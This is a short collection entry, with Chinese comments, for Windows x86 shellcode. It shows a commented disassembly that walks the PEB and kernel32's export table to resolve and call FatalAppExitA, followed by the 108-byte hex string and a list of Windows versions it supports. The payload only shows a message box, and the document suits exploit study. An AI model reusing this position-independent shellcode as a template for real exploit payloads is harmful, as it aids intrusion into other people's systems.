shellcode搜集

00406032    B2 30           mov dl,0x30
00406034    64:8B12         mov edx,dword ptr fs:[edx]
00406037    8B52 0C         mov edx,dword ptr ds:[edx+0xC]             ; _PEB_LDR_DATA
0040603A    8B52 1C         mov edx,dword ptr ds:[edx+0x1C]            ; InInitializationOrderModuleList 第一项
0040603D    8B42 08         mov eax,dword ptr ds:[edx+0x8]             ; InMemoryOrderLinks
00406040    8B72 20         mov esi,dword ptr ds:[edx+0x20]            ; FullDllName
00406043    8B12            mov edx,dword ptr ds:[edx]                 ; InInitializationOrderModuleList 第二项
00406045    807E 0C 33      cmp byte ptr ds:[esi+0xC],0x33
00406049  ^ 75 F2           jnz XlastTest.0040603D
0040604B    89C7            mov edi,eax
0040604D    0378 3C         add edi,dword ptr ds:[eax+0x3C]            ; pe
00406050    8B57 78         mov edx,dword ptr ds:[edi+0x78]            ; 导出表
00406053    01C2            add edx,eax
00406055    8B7A 20         mov edi,dword ptr ds:[edx+0x20]            ; ENT
00406058    01C7            add edi,eax
0040605A    31ED            xor ebp,ebp
0040605C    8B34AF          mov esi,dword ptr ds:[edi+ebp*4]
0040605F    01C6            add esi,eax
00406061    45              inc ebp
00406062    813E 46617461   cmp dword ptr ds:[esi],0x61746146          ; CMP NAME 0-3
00406068  ^ 75 F2           jnz XlastTest.0040605C
0040606A    817E 08 4578697>cmp dword ptr ds:[esi+0x8],0x74697845      ; 8-11
00406071  ^ 75 E9           jnz XlastTest.0040605C                     ; FatalAppExit 函数显示一个消息框，并终止应用程序时，消息框关闭
00406073    8B7A 24         mov edi,dword ptr ds:[edx+0x24]            ; 导出序列号数组
00406076    01C7            add edi,eax
00406078    66:8B2C6F       mov bp,word ptr ds:[edi+ebp*2]             ; 得到序列号
0040607C    8B7A 1C         mov edi,dword ptr ds:[edx+0x1C]            ; EAT
0040607F    01C7            add edi,eax
00406081    8B7CAF FC       mov edi,dword ptr ds:[edi+ebp*4-0x4]       ; 得到函数地址
00406085    01C7            add edi,eax                                ; get the address of FatalAppExiA
00406087    68 64614001     push 0x1406164
0040608C    68 4070616E     push 0x6E617040
00406096    89E1            mov ecx,esp
00406098    FE49 07         dec byte ptr ds:[ecx+0x7]
0040609B    31C0            xor eax,eax
0040609D    51              push ecx
0040609E    50              push eax
0040609F    FFD7            call edi

"\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B"
"\x12\x80\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20"
"\x01\xC7\x31\xED\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E"
"\x08\x45\x78\x69\x74\x75\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01"
"\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68\x64\x61\x40\x01\x68\x40\x70\x61\x6E\x89\xE1\xFE"
"\x49\x07\x31\xC0\x51\x50\xFF\xD7"
//108 bytes  Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3